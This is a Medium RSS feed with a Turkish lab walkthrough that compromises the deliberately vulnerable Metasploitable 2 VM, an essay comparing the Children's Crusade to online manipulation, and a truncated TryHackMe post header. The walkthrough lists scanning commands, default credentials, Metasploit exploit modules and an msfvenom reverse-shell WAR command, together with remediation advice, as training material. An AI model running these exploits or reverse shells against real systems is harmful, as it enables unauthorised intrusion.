<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Metin Kadir Kerpiç on Medium]]></title>
        <description><![CDATA[Stories by Metin Kadir Kerpiç on Medium]]></description>
        <link>https://medium.com/@mkk013?source=rss-d3716ecf34d4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*6bCtIAVmHaH6YZ-J</url>
            <title>Stories by Metin Kadir Kerpiç on Medium</title>
            <link>https://medium.com/@mkk013?source=rss-d3716ecf34d4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 14:28:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mkk013/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Metasploitable 2]]></title>
            <link>https://medium.com/@mkk013/metasploitable-2-a96621689203?source=rss-d3716ecf34d4------2</link>
            <guid isPermaLink="false">https://medium.com/p/a96621689203</guid>
            <dc:creator><![CDATA[Metin Kadir Kerpiç]]></dc:creator>
            <pubDate>Wed, 06 May 2026 10:58:35 GMT</pubDate>
            <atom:updated>2026-05-06T10:58:35.661Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*IywVidAMjFuwuOQr" /></figure><p><strong>Kategori: Boot2Root / Vulnerable VM | Zorluk: Kolay</strong></p><h3>1. Bilgi Toplama</h3><p>İlk olarak <strong>nmap</strong> ile hedef sistemi tarıyalım:</p><pre>nmap -sCV 192.168.84.129</pre><p><strong>Çıktı Özeti:</strong></p><pre>PORT     STATE SERVICE     VERSION<br>21/tcp   open  ftp         vsftpd 2.3.4<br>22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)<br>23/tcp   open  telnet      Linux telnetd<br>25/tcp   open  smtp        Postfix smtpd<br>80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)<br>139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)<br>445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)<br>512/tcp  open  exec        netkit-rsh rexecd<br>1099/tcp open  java-rmi    GNU Classpath grmiregistry<br>1524/tcp open  bindshell   Metasploitable root shell<br>2049/tcp open  nfs         2-4 (RPC #100003)<br>2121/tcp open  ftp         ProFTPD 1.3.1<br>3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5<br>5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7<br>5900/tcp open  vnc         VNC (protocol 3.3)<br>6667/tcp open  irc         UnrealIRCd<br>8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1</pre><p><strong>Analiz:</strong></p><p>Makinede neredeyse kapalı port yok. Daha geniş port taraması yapalım:</p><blockquote><strong><em>Teknik Not:</em></strong></blockquote><ul><li>-sC: Default scriptleri çalıştırır.</li><li>-sV: Servis versiyonlarını tespit eder.</li></ul><p>Ek keşifler için:</p><pre>masscan -p1-65535 192.168.84.129</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*DVGhCVnH3p34Tb2gH8mxZA.png" /><figcaption><em>masscan çıktısı — tüm açık portların listesi</em></figcaption></figure><pre>nuclei -u http://192.168.84.129</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JJNybCRT4AE6Zf4_LeMUPw.png" /><figcaption><em>nuclei çıktısı — web üzerinde tespit edilen zafiyetler</em></figcaption></figure><pre>ffuf -u http://192.168.84.129/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,403 -c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*fApE2UdA7h9NmaYxmWtntA.png" /></figure><pre>whatweb -v -a 3 192.168.84.129</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QpwBoBxYwqoQdAgKgX0mhw.png" /><figcaption><em>whatweb çıktısı — web teknoloji parmak izi (Apache 2.2.8, PHP, Ubuntu)</em></figcaption></figure><pre>nbtscan -r -v 192.168.84.129</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*CBIHEx9y90HAitpd9UAuuw.png" /><figcaption><em>nbtscan çıktısı — NetBIOS isim çözümlemesi ve workgroup bilgisi</em></figcaption></figure><h3>2. Sisteme Erişim / Zafiyet Analizi</h3><p>Portların çokluğu başımı döndürse de kritik servisleri tek tek incelemeye başlıyorum.</p><h4>Hedef 1: 21/TCP — vsftpd 2.3.4 (Tedarik Zinciri Vakası)</h4><p>Önce anonim girişi deniyorum:</p><pre>ftp 192.168.84.129<br>Name: anonymous<br>Password: anonymous</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*7PKQS9hJL_ZbGs2RscBy-Q.png" /><figcaption><em>FTP anonim girişi başarılı (anonymous:anonymous)</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*TQuE2WD-dS-6SnWNevgAew.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/326/1*PGtTVj-PzvPPWd4ocD_aQw.png" /><figcaption>vsftpd 2.3.4 backdoor (CVE-2011–2523) exploit</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*SgX1OgUXYN6MnwCsRxXO6A.png" /><figcaption>Port 6200 üzerinden root shell alındı</figcaption></figure><p><strong>Neden Bu Çalıştı?</strong><br>Bu olay meşhur bir Supply Chain Attack örneğidir. Saldırganlar vsftpd projesinin ana kaynak koduna sızıp :) karakterlerini içeren kullanıcı adlarıyla giriş yapıldığında 6200 numaralı portta doğrudan bir root shell açan zararlı bir kod (backdoor) eklemişler. Zafiyeti Exploit-DB&#39;den doğrulayıp RCE alıyoruz! YIPPI!</p><blockquote><strong><em>OWASP A06:2021 — Vulnerable and Outdated Components:</em></strong><em> Güncel olmayan ve bilinen zafiyetleri (arka kapı) barındıran bileşenlerin kullanımı.</em></blockquote><blockquote><strong><em>ATT&amp;CK T1195.002 — Supply Chain Compromise:</em></strong><em> Yazılım bağımlılıkları veya dağıtım kanallarının hedeflenmesi (vsftpd kaynak kodunun değiştirilmesi).</em></blockquote><h4>Hedef 2: 139/445/TCP — Samba 3.0.20-Debian</h4><p>Samba üzerinden neler görebileceğimi anlamak için keşfe başlıyorum:</p><pre>enum4linux -a 192.168.84.129<br>smbclient -L //192.168.84.129 -N</pre><pre>//192.168.84.129/print$ Mapping: DENIED Listing: N/A Writing: N/A<br>//192.168.84.129/tmp    Mapping: OK Listing: OK Writing: N/A</pre><pre>user:[user] rid:[0xbba]<br>user:[root] rid:[0x3e8]<br>user:[msfadmin] rid:[0xbb8]<br>...</pre><pre>[+] Server 192.168.84.129 allows sessions using username &#39;&#39;, password &#39;&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*W2JZGxK5WK3HRB6Idztw9g.png" /><figcaption><em>enum4linux/smbclient çıktısı — kullanıcı listesi ve anonim /tmp erişimi</em></figcaption></figure><p>Anonim olarak /tmp dizinine erişebiliyorum. Biraz daha araştırınca Samba 3.0.20&#39;de usermap_script zafiyeti (CVE-2007-2447) olduğunu öğreniyorum. Bu doğrudan sistemde kod çalıştırabileceğimiz anlamına geliyor. exploit/multi/samba/usermap_script Metasploit modülünü çalıştırarak bir reverse shell elde ediyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*UDje14A6hD7rr97a5KtvcQ.png" /><figcaption><em>Samba usermap_script exploit ile root shell alındı (CVE-2007–2447)</em></figcaption></figure><p><strong>Neden Bu Çalıştı?</strong><br> Samba konfigürasyonunda “Username Map Script” seçeneği aktif edildiğinde kullanıcıdan gelen veriler yeterince filtrelenmeden (Girdi Doğrulama Eksikliği) doğrudan /bin/sh komut satırına gönderiliyor. Kullanıcı adı alanına yazılan zararlı payload, sistemde root yetkisiyle çalıştırılır.</p><blockquote><strong><em>OWASP A03:2021 — Injection:</em></strong><em> Kullanıcı girdilerinin sistem komutlarına temizlenmeden aktarılması (Command Injection).</em></blockquote><blockquote><strong><em>ATT&amp;CK T1059.004 — Unix Shell:</em></strong><em> Saldırganların shell üzerinden komut yürütmesi.</em></blockquote><h4>Hedef 3: 8180/TCP — Apache Tomcat &amp; PHP CGI</h4><p>Web servisine baktığımda:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*x5Wf1ZN0D2W6Kf3_kbYQiA.png" /><figcaption><em>80/HTTP ana sayfa — Metasploitable2 Linux web arayüzü</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*aMNvsNjsaMlxJcafc1Rkgg.png" /><figcaption><em>8180/HTTP — Apache Tomcat/5.5 varsayılan sayfası</em></figcaption></figure><p>phpinfo.php dosyası PHP versiyon bilgisini ifşa ediyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oMJtZagNDYA5wFxF9x-lmQ.png" /><figcaption><em>phpinfo.php — PHP 5.2.4 sürüm bilgisi ve CGI modü ifşası</em></figcaption></figure><p>PHP CGI (CVE-2012–1823) exploit araştırması:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v65EkRYcUcONtbKMr98fQg.png" /><figcaption><em>Rapid7 DB — PHP CGI Argument Injection (CVE-2012–1823) exploit modülü bilgisi</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*Js3v7jRwhuDbdyvVvgnhVg.png" /><figcaption><em>PHP CGI exploit çalıştırılıyor — sunucudan komut çıktısı alındı</em></figcaption></figure><p>phpMyAdmin üzerinde yaptığım burp suite ile brute-force denemesi başarısız oldu:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*Wb4MupLb5U8Q-N-Q0WYdLA.png" /><figcaption><em>phpMyAdmin</em></figcaption></figure><p>Default credentials ile Tomcat Manager’a giriş (tomcat:tomcat):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*ox5cIXFMMVZfaQT8s9-QhQ.png" /><figcaption><em>Tomcat Manager sayfası — tomcat:tomcat ile erişim sağlandı, WAR deploy alanı görünüyor</em></figcaption></figure><pre>msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.84.140 LPORT=4444 -f war &gt; shell.war</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*kYWzL8gp8l64dH8SLg-MyQ.png" /><figcaption><em>msfvenom ile oluşturulan reverse shell WAR dosyası</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*zHzlgWDc2DUcFGnk_3Nspg.png" /><figcaption><em>WAR dosyası Tomcat Manager üzerinden yükleniyor</em></figcaption></figure><p>Metasploit tomcat_mgr_deploy modülü:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*bhodIdbewHEvuNhhPjxjDg.png" /><figcaption><em>Metasploit tomcat_mgr_deploy modülü — WAR deploy üzerinden root shell</em></figcaption></figure><p><strong>Neden Bu Çalıştı?</strong><br> Varsayılan parola ayarlarının değiştirilmemesi ve bilinen açıklara sahip eski PHP CGI sürümlerinin kullanılması uygulamayı tamamen savunmasız hale getiriyor.</p><blockquote><strong><em>OWASP A07:2021 — Identification and Authentication Failures:</em></strong><em> Tomcat panelinde varsayılan parolaların (</em><em>tomcat:tomcat) kullanılması.</em></blockquote><blockquote><strong><em>ATT&amp;CK T1078.001 — Default Accounts:</em></strong><em> Yönetim paneline standart yetkilerle erişim sağlanması.</em></blockquote><h4>Hedef 4: 6667/TCP — UnrealIRCd 3.2.8.1</h4><p>IRC servisine bağlanmayı deniyorum, direkt olarak benden kayıt olmamı istiyor:</p><pre>nc -v 192.168.84.129 6667<br>NICK mkadir<br>USER hacker 8 * :hacker</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*9Hrd1VpnBhRkvdy0_LozIg.png" /><figcaption><em>nc ile IRC bağlantısı — UnrealIRCd 3.2.8.1 banner görünüyor</em></figcaption></figure><p>Sürüm numarasıyla Google’da araştırma yapıyorum ve bunun da bir backdoor (Tedarik Zinciri) vakası olduğunu görüyorum. Metasploit’teki exploit/unix/irc/unreal_ircd_3281_backdoor modülünü çalıştırarak sistemden bir shell daha alıyorum. Sistem resmen arka kapılarla dolu!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*DlxsEjnY3f-7ur1sK9ZhyA.png" /><figcaption><em>UnrealIRCd backdoor exploit — root shell başarıyla alındı</em></figcaption></figure><h4>Diğer Kritik Bulgularım:</h4><p><strong>22/TCP — SSH (OpenSSH 4.7p1)</strong></p><pre>nmap --script ssh-auth-methods --script-args=&quot;ssh.user=root&quot; -p 22 192.168.84.129</pre><p>msfadmin:msfadmin ile bağlanabiliyoruz:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*Yeigzkga-fIWOwJQPZhLiw.png" /><figcaption><em>Eski OpenSSH auth metodları — Kali ile uyumsuzluk nedeniyle bazı algoritmalar çalışmıyor</em></figcaption></figure><p>Kali’deki ssh güncel auth metodlarını destekliyor (ssh-ed22519, ssh-rsa-sha2–256 vs.) ancak metasploitable eski metodları destekliyor. Yine bu yüzden brute-force başarısız oluyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*hD25xXFKT6letYojyrYINg.png" /><figcaption><em>SSH bağlantısı — msfadmin:msfadmin ile giriş başarılı</em></figcaption></figure><p>Hydra brute-force denemesi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pjnR8UganBouX2H83CKPPw.png" /><figcaption><em>Hydra SSH brute-force çıktısı — msfadmin:msfadmin kimlik bilgisi doğrulandı</em></figcaption></figure><p>Debian OpenSSL Zafiyeti (CVE-2008–0166)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PFWQfTzv66tQVEhZc45u-Q.png" /><figcaption><em>CVE-2008–0166 — Debian OpenSSL zafiyet detayı, üretilen anahtarlar tahmin edilebilir</em></figcaption></figure><p><strong>23/TCP — Telnet</strong> (msfadmin:msfadmin - SSH ile aynı):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*lPSEqqQY3i2CYL3-3nS2uQ.png" /><figcaption><em>Telnet bağlantısı — msfadmin:msfadmin ile açık metin (plaintext) oturum</em></figcaption></figure><p><strong>25/TCP — SMTP</strong> (VRFY komutu ile kullanıcı listesi sorgulanabiliyor):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*2JSc9K8lVxqPLrDCYf5EOg.png" /><figcaption><em>SMTP VRFY komutu — root, msfadmin gibi kullanıcıların varlığı doğrulandı</em></figcaption></figure><p><strong>512–514/TCP — Exec/Login/Shell</strong> (.rhosts Trust Relationship - şifresiz root erişim):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*lQGsHQFO8-ev9Vrh2c77yQ.png" /><figcaption><em>rlogin/rexec ile şifresiz root bağlantısı — .rhosts güven ilişkisi suistimali</em></figcaption></figure><p><strong>1099/TCP — Java RMI</strong> (Uzaktan sınıf yüklemeye izin veriyor, RCE):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6DoARqAbpvz7fsv9V9kOlA.png" /><figcaption><em>Java RMI exploit — uzaktan sınıf yükleme ile shell alındı</em></figcaption></figure><p><strong>1524/TCP — Bindshell</strong> (Kimlik doğrulama yok, doğrudan root shell):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/269/1*ViWZI3QmTimjUnRw7L1A5w.png" /><figcaption><em>Port 1524 — nc bağlantısında kimlik doğrulama yok doğrudan root shell</em></figcaption></figure><p><strong>2049/TCP — NFS</strong> (Root dizini herkese açık paylaflılmış):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*kPuLc_2rMy4Te_I681AJsA.png" /><figcaption><em>showmount çıktısı — kök dizin / herkese NFS olarak açık</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oHO042owezMb6TrnXUK5Ng.png" /><figcaption><em>NFS mount edildi — dışarıdan SSH authorized_keys dosyası kök dizine yazılabiliyor</em></figcaption></figure><p><strong>3306/TCP — MySQL</strong> (Root kullanıcısı parolasız):</p><pre>mysql -u root -h 192.168.84.129 --skip-ssl -p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*h0yaKDED-4m4tnUYz5Up5A.png" /><figcaption><em>MySQL bağlantı denemesi — SSL hatası, — skip-ssl flag ile aşıldı</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*IsPjK_48uR9AybAQSylIvA.png" /><figcaption><em>MySQL root oturumu — parolasiz giriş, tüm veritabanları listeleniyor</em></figcaption></figure><p><strong>5432/TCP — PostgreSQL</strong> (Default postgres:postgres, dinamik kütüphane ile RCE):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*bpmrJHpfXXUi70-4-zptUA.png" /><figcaption><em>PostgreSQL bağlantısı — postgres:postgres ile giriş başarılı</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J4UOnZ8W3Ns4jNkzyqaIig.png" /><figcaption><em>postgres_payload exploit — dinamik kütüphane (.so) yüklenerek shell alındı</em></figcaption></figure><p><strong>5900/TCP — VNC</strong> (password parolasıyla giriş):</p><pre>vncviewer 192.168.84.129</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*WxLhPiKiZvHdSy28aM1Wfw.png" /><figcaption><em>vncviewer bağlantısı — “password” parolasıyla masaüstü erişimi sağlandı</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*KeOe-O01xbSSvhe6rVQ9vg.png" /><figcaption><em>Metasploit vnc_login modülü — default parola brute-force ile doğrulandı</em></figcaption></figure><h3>3. Yetki Yükseltme (Privilege Escalation)</h3><p>Zafiyetlerin birçoğu (vsftpd, Samba, 1524 bindshell) bize doğrudan root yetkisi verdiği için bu makinede &quot;yetki yükseltme&quot; aşamasına çok fazla ihtiyaç duymadık. Ancak Tomcat (www-data) veya kısıtlı bir kullanıcı (msfadmin) ile sisteme girdiğimizde:</p><ul><li><strong>NFS Paylaşımı</strong> kullanılarak dışarıdan SSH anahtarımızı doğrudan kök dizine yazabilirdik.</li><li>Güvensiz .rhosts konfigürasyonu üzerinden yetkili girişler yapabilirdik.</li></ul><p><strong>Neden Bu Çalışır?</strong><br> Hatalı ağ ve dosya paylaşımları, içeride düşük yetkilerle dolaşan bir kullanıcının (veya ağdaki bir kişinin) doğrudan kritik sistem dosyalarını değiştirmesine imkan verir.</p><blockquote><strong><em>OWASP A05:2021 — Security Misconfiguration:</em></strong><em> Hatalı veya gereksiz yapılandırmalar (NFS Root Share, </em><em>.rhosts izinleri).</em></blockquote><blockquote><strong><em>ATT&amp;CK T1548.001 — Setuid and Setgid:</em></strong><em> SUID bitleri, dosya izinleri ve yanlış yapılandırılmış güven ilişkilerinin suistimali.</em></blockquote><h3>4. Sonuç ve Çözüm</h3><p>Makine üzerinde o kadar çok kritik seviyede bulgu var ki tabloya sadece en önemli olanları sığdırabildim. Sistemi analiz etmek benim için tam bir “Her zile basıp ‘Kim o?’ diyenleri not almak” gibiydi!</p><pre>| Bulgu                       | Risk        | CVSS | Teknik Ref          | Etki                              | Cozum Onerisi                                                        |<br>|-----------------------------|-------------|------|---------------------|-----------------------------------|----------------------------------------------------------------------|<br>| vsftpd Backdoor             | Critical    |  9.8 | OWASP A06 / T1195   | Sistemin ele gecirilmesi (Root)   | Guvenilir kaynaktan guncel versiyona gecis yapilmali.                |<br>| Samba usermap_script RCE    | Critical    |  9.8 | OWASP A03 / T1059   | Komut calistirma (Root)           | Samba surumu guncellenmeli, &quot;username map script&quot; kapatilmali.       |<br>| Tomcat Default Creds        | Critical    |  9.8 | OWASP A07 / T1078   | Zararli WAR ile kod calistirma    | Varsayilan parolalar kompleks parolalar ile degistirilmeli.          |<br>| UnrealIRCd Backdoor         | Critical    |  9.8 | OWASP A06 / T1195   | Sistemin ele gecirilmesi          | Ilgili servisin guvenilir surumune gecilmeli veya servis kapatilmali.|<br>| PostgreSQL Default Parola   | Critical    |  9.8 | OWASP A07 / T1078   | Veritabani ele gecirme, RCE       | postgres parolasi derhal degistirilmeli.                             |<br>| Acik NFS Paylasimi          | Critical    |  9.1 | OWASP A01 / T1548   | Kok dosya sistemine erisim        | /etc/exports kisitlanmali, sadece guvenli IPlere yetki verilmeli.    |<br>| 1524 Bindshell              | Critical    | 10.0 | OWASP A05 / T1100   | Dogrudan yetkisiz kok erisimi     | Servis acilen kapatilmali, guvenlik duvari kurallari sikilestirilmali|<br>| Telnet, VNC Zayif Parolalar | High        |  7.5 | OWASP A07 / T1078   | Hassas veri sizintisi / Sizma     | Telnet yerine SSH, VNC icin guclu sifreleme ve parola kullanilmali.  |</pre><p><strong>Öğrenilen Dersler:</strong></p><ol><li><strong>Varsayılan Parolalar Risklidir:</strong> Sistemlerin ve servislerin kurulum sonrası varsayılan parolaları her zaman güvenlik zafiyetidir.</li><li><strong>Tedarik Zinciri Güvenliği:</strong> Kurulan uygulamaların sadece “çalışması” yetmez, kaynak kodun bütünlüğü (hash kontrolü) sağlanmalıdır.</li><li><strong>Gereksiz Servisler:</strong> 1524 bindshell, Telnet gibi gereksiz servisler doğrudan saldırı yüzeyini genişletir; gerekmeyen servisler mutlaka kapatılmalıdır.</li></ol><p><strong>Kullanılan Araçlar:</strong></p><ul><li>nmap - Port ve Servis Keşfi / SSH Auth Yöntem Tespiti</li><li>masscan - Hızlı Port Tarama</li><li>enum4linux, smbclient - SMB/Netbios Numaralandırma</li><li>nuclei - Web Zafiyet Tarama</li><li>ffuf - Web Dizin/Yol Keşfi (Bruteforce)</li><li>dirbuster - Web Dizin Keşfi</li><li>whatweb - Web Teknoloji Parmak İzi</li><li>nbtscan - NetBIOS Tarama</li><li>hydra - SSH Brute-Force</li><li>msfconsole, msfvenom - Exploitation ve Payload Üretimi</li><li>nc (netcat) - IRC Bağlantısı</li><li>mysql - MySQL CLI Bağlantısı</li><li>vncviewer - VNC Uzak Masaüstü Bağlantısı</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a96621689203" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Unpatched Exploit: Human OS]]></title>
            <link>https://medium.com/@mkk013/the-unpatched-exploit-human-os-decf6e27073d?source=rss-d3716ecf34d4------2</link>
            <guid isPermaLink="false">https://medium.com/p/decf6e27073d</guid>
            <dc:creator><![CDATA[Metin Kadir Kerpiç]]></dc:creator>
            <pubDate>Wed, 15 Apr 2026 21:52:18 GMT</pubDate>
            <atom:updated>2026-04-15T21:52:18.044Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ftk-uo_esMB-NKvnPzpfnw.png" /></figure><blockquote><em>“We are Pueri, the chosen righteous / God will walk with us, he will part the sea…” — Dauth</em></blockquote><p><strong>01 | The Shore That Didn’t Open</strong></p><p>Genoa, 1212. Tens of thousands of children reached the coast. They had crossed the Alps barefoot, survived the passes, buried their dead along the road. They stood at the Mediterranean’s edge and waited. Stephen of Cloyes had promised them the sea would part — that God would clear the path to Jerusalem, walls crumbling before their purity, not their swords.</p><p>The sea did not part.</p><p>We read that sentence and exhale with relief. <em>We</em> would never be so naive. We have critical thinking, peer-reviewed science, and the entire recorded history of human manipulation accessible from the device in our pocket. We are, in other words, immune.</p><p>We are not immune. We are running the exact same operating system. We have simply updated the interface.</p><p><strong>02 | Layer 8 — The Documented Vulnerability</strong></p><h3>The exploit was never a secret.</h3><p>In information security, the network stack ends at Layer 7 — the application layer. But practitioners coined a bitter joke about Layer 8: the human layer. You can architect the most hardened perimeter in the industry. Intrusion detection, zero-trust architecture, end-to-end encryption. None of it matters if you can trick the user into handing over their credentials at the door.</p><p>The Children’s Crusade was not a Zero-Day. It was the deliberate weaponization of a <strong>known, fully documented, never-patched vulnerability</strong>: humanity’s desperate need for a righteous cause.</p><p>The Big Patrons of 1212 — the cynical nobility, the merchant kings who would later fill their ships with these same children — understood the exploit intimately. They did not invent the vulnerability. They simply knew it was there, unguarded, and that no one was going to fix it. They were right. Eight centuries later, no one has.</p><blockquote>You do not need to censor a population if you can successfully redirect its rage. A marching crowd is not a threat — it is infrastructure.</blockquote><p><strong>03 | DDoS by Protest</strong></p><h3>The botnet that volunteers itself.</h3><p>Modern power structures have discovered something that would have made the lords of 1212 weep with envy: you do not need to deploy soldiers to neutralize a restless population. You need a Command and Control server — and you need to make the nodes <em>want</em> to connect to it.</p><p>This is what distinguishes contemporary social manipulation from crude historical censorship. The medieval church burned books. Today’s equivalent does something far more elegant: it <strong>floods the zone</strong>. Algorithms surface content that maximizes engagement — which means content that maximizes outrage — which means the population is perpetually pre-occupied with a rotating cast of synthetic emergencies. Change your profile picture. Sign the petition. Trend the hashtag. The sea is about to part.</p><p>What you are participating in, whether you know it or not, is a DDoS by Protest. A distributed denial-of-service attack against your own attention. Each node — each furious, well-meaning citizen — floods the network with signal. The system appears overwhelmed. In reality, it is working exactly as designed. While you exhaust yourself generating noise, the actual architecture — legislation, consolidation of capital, structural policy — is quietly modified in the background, shielded by the very storm you created.</p><p>Here is the crucial difference from a traditional botnet: in a standard attack, the compromised machines don’t know they are infected. In this version, the nodes are <em>proud of their participation</em>. They call it activism. They call it solidarity. They call it showing up.</p><p>The C2 server calls it training data.</p><p><strong>04 | The Genoese Shoreline of the Digital Age</strong></p><h3>Every crusade reaches the coast eventually.</h3><p>Every viral movement hits its own Genoese shoreline — the moment the algorithm moves on, the hashtag fades from the trending list, and you look around to find the world structurally identical to the one you were certain you were changing. The sea did not part. The law did not change. The institution did not fall.</p><p>And then the Dauth lyric that has been haunting this essay arrives with its full weight: <em>“By fall, God’s children were gone.”</em></p><p>In 1212, the exploitation of the Children’s Crusade ended in physical chains — the darkest legends place them on North African slave ships, having been loaded aboard by the same Genoese merchants who watched them pray on the shore. In our era, the chains are architectural. By the time a generation recognizes that their digital activism was <strong>harvested</strong> by the very systems they believed they were dismantling, they are already burned out, politically cynical, and — most critically — convinced that engagement itself is pointless. Which is precisely the desired end state. An exhausted, apathetic population is the most governable population.</p><p><em>“So the meek would be the meek at last / Clergy heard the devil laugh.”</em></p><p>The devil laughing in 1212 had no horns. It had ships waiting in the harbor and a ledger of names.</p><blockquote>Your attention is not being stolen. It is being purchased — with the currency of your own outrage — and you are making the transaction voluntarily, with gratitude.</blockquote><p><strong>05 | Verify, Then Trust</strong></p><h3>The cardinal rule we suspend for causes we love.</h3><p>The foundational tenet of information security is not complexity or encryption — it is epistemic discipline. <strong>Verify, then trust.</strong> Every asset is suspect until authenticated. Every packet is unverified until inspected. You do not grant access based on how compelling the request sounds. You grant access based on cryptographic proof of identity and legitimate authorization.</p><p>We apply this rigorously to machines. We abandon it completely the moment a cause speaks to our values.</p><p>The algorithms have learned this. They have mapped the emotional signatures that precede the suspension of verification — the specific quality of outrage that makes a person share before they read, march before they audit, donate before they examine the ledger. What they feed us is not information. It is authentication bypass. Content engineered to feel so obviously correct that checking it would be an insult to the cause itself. Stephen of Cloyes didn&#39;t need credentials. He needed the right tone.</p><p>The patch has always been available. It requires only that you audit the systems you join with the same cold skepticism you would apply to an unsigned binary from an unknown source. Ask for the logistics, not the miracle. Demand the architecture, not the prophecy. Require proof of what changed last time before you commit to marching again.</p><p>But here is what the patch notes will not tell you: the vulnerability is not ignorance. It is hope. The Children’s Crusade happened because tens of thousands of people were desperate for the world to be better than it was, and someone handed them a story in which it could be. That desperation is not a flaw. It is the most human thing there is.</p><p>The exploit works because the target is trying to do something good.</p><p>Which means the patch cannot simply be cynicism. A population that has been burned enough times to stop believing in anything is not secure — it is just a different kind of captured. The goal is not to stop marching. It is to know, before you reach the shore, exactly who built the road, who benefits from the journey, and whether there was ever any intention of parting the sea.</p><p>The Big Patrons are still waiting with their ships. They have simply learned to call the harbor a platform.</p><p><strong>Who is the preacher? Who owns the ships? Verify first.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=decf6e27073d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — MrRobot]]></title>
            <link>https://medium.com/@mkk013/tryhackme-mrrobot-80e6c36932db?source=rss-d3716ecf34d4------2</link>
            <guid isPermaLink="false">https://medium.com/p/80e6c36932db</guid>
            <dc:creator><![CDATA[Metin Kadir Kerpiç]]></dc:creator>
            <pubDate>Sun, 08 Mar 2026 14:51:00 GMT</pubDate>
            <atom:updated>2026-03-08T14:51:00.549Z</atom:updated>
